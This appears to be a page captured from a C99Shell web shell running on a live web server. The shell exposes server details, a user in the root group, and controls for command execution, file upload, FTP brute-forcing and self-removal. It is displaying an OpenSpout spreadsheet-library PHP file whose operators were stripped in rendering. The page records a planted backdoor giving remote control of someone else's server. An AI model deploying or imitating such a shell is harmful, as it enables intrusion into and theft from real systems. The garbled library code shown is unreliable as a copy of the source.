!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/openspout/openspout/src/Reader/XLSX/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SheetIterator.php (2.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
OpenSpout\Reader\XLSX;

use 
OpenSpout\Reader\Exception\NoSheetsFoundException;
use 
OpenSpout\Reader\SheetIteratorInterface;
use 
OpenSpout\Reader\XLSX\Manager\SheetManager;

/**
 * @implements SheetIteratorInterface<Sheet>
 */
final class SheetIterator implements SheetIteratorInterface
{
    
/** @var Sheet[] The list of sheet present in the file */
    
private array $sheets;

    
/** @var int The index of the sheet being read (zero-based) */
    
private int $currentSheetIndex 0;

    
/**
     * @param SheetManager $sheetManager Manages sheets
     *
     * @throws NoSheetsFoundException If there are no sheets in the file
     */
    
public function __construct(SheetManager $sheetManager)
    {
        
// Fetch all available sheets
        
$this->sheets $sheetManager->getSheets();

        if (
=== \count($this->sheets)) {
            throw new 
NoSheetsFoundException('The file must contain at least one sheet.');
        }
    }

    
/**
     * Rewind the Iterator to the first element.
     *
     * @see http://php.net/manual/en/iterator.rewind.php
     */
    
public function rewind(): void
    
{
        
$this->currentSheetIndex 0;
    }

    
/**
     * Checks if current position is valid.
     *
     * @see http://php.net/manual/en/iterator.valid.php
     */
    
public function valid(): bool
    
{
        return 
$this->currentSheetIndex \count($this->sheets);
    }

    
/**
     * Move forward to next element.
     *
     * @see http://php.net/manual/en/iterator.next.php
     */
    
public function next(): void
    
{
        ++
$this->currentSheetIndex;
    }

    
/**
     * Return the current element.
     *
     * @see http://php.net/manual/en/iterator.current.php
     */
    
public function current(): Sheet
    
{
        return 
$this->sheets[$this->currentSheetIndex];
    }

    
/**
     * Return the key of the current element.
     *
     * @see http://php.net/manual/en/iterator.key.php
     */
    
public function key(): int
    
{
        return 
$this->currentSheetIndex 1;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--